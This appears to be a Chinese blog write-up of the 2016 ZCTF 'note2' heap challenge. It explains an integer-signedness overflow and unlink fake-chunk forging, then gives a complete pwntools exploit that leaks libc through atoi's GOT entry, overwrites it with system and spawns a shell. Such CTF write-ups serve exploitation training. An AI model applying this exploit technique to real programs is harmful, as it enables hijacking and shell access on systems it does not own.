2016 ZCTF note2--unlink

2016 ZCTF note2–unlink

很久没打unlink了,上一次打unlink还是将近一年前,如此怠惰

温习了一下重命名,重新指定类型啥的ida操作(重新指定类型没用上:{)

溢出点:

其中 i 是 unsigned 类型,lenth 为 int 类型,所以两者在 for 循环相比较的时候,lenth -1 的结果会被视为 unsigned 类型
在这里插入图片描述

输入0也可以符合这个判断

在这里插入图片描述

unlink需要伪造堆块,保证fd->bk == p == bk->fd,同时,要保证下一个块的prev_size与伪造的堆块大小相符。

主要是为了复健,就不多描述了。

长知识:chunk0伪造的块,中间有chunk1,释放chunk2,也可以与chunk0去合并。

从管理的index_of_chunk来看,1被free掉后重新创建占据了3的位置。

伪造堆块这两种都可以

payload1 = b"A"*8 + p64(0x61) + p64(fd) + p64(bk) + b"b"*0x40 +p64(0x60)
#payload1 = b'A'*8+ p64(0xa1) + p64(fd) +p64(bk)

第一个是自己手动填了后一个的pre_size是0x60

第二个直接算出来到chunk2的pre_size的长度。

delete之后number没有–,所以一直在往下占用index_of_chunk。

写的十分简略,只记录了我在复健的问题,详细可以参考ctfwiki

这个堆管理是一直往下加,如2被free掉后,这个位置就不会再有东西了。
于是好奇的回头看babyheap的管理方法,它会重复使用。

辛辛苦苦找到了管理的地方:
1.第一个,1表示有堆了,0表示没有
2.第二个,记录了当时创建时选择的大小,我这里填的20,所以显示了0x14
3.第三个,记录了指向数据域的指针。

在这里插入图片描述

exp:

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./note2')
#p=remote('node5.buuoj.cn',25695)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda   :p.recvline()

def debug():
    gdb.attach(p)
    pause(1)
index_of_chunk = 0x602120
fd = index_of_chunk - 0x18
bk = index_of_chunk - 0x10
atoi_got = 0x602088

sl(b"AA")
sl(b"BB")

def new(lenth,content):
    ru("option")
    sl(b'1')
    ru('Input the length of the note content:(less than 128)\n')
    sl(str(lenth))
    ru('content')
    sl(content)

def show(index):
    ru('option')
    sl(b"2")
    rl()
    sl(str(index))

def dele(index):
    ru('option')
    sl(b'4')
    rl()
    sl(str(index))

def edit(index,content):
    ru('option')
    sl(b'3')
    rl()
    sl(str(index))
    rl()
    sl(b'1')
    rl()
    sl(content)



#debug()
'''
#test of def
new(0x10,b"AAAAAAA")
edit(0,b'BBBB')
show(0)
dele(0)
'''
payload1 = b"A"*8 + p64(0x61) + p64(fd) + p64(bk) + b"b"*0x40 +p64(0x60)
#payload1 = b'A'*8+ p64(0xa1) + p64(fd) +p64(bk)
new(0x80,payload1)#0
new(0,b"AA")#1
new(0x80,b"AA")#2
#debug()
dele(1)
payload = b"A"*0x10 + p64(0xa0) + p64(0x90)
new(0,payload)
#debug()
dele(2)

edit(0,b"A"*(0x18)+p64(atoi_got)*4)
show(0)
#debug()
atoi_addr = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))

#libc = ELF('/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = ELF('/home/kali/Desktop/libc-2.23.so')

libc_base = atoi_addr - libc.sym['atoi']
print(hex(libc_base))

one_gadget = libc_base + 0xf02a4

system_addr = libc_base + libc.sym['system']
edit(0,p64(system_addr))
sl(b'/bin/sh')

p.interactive()

  • 10
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值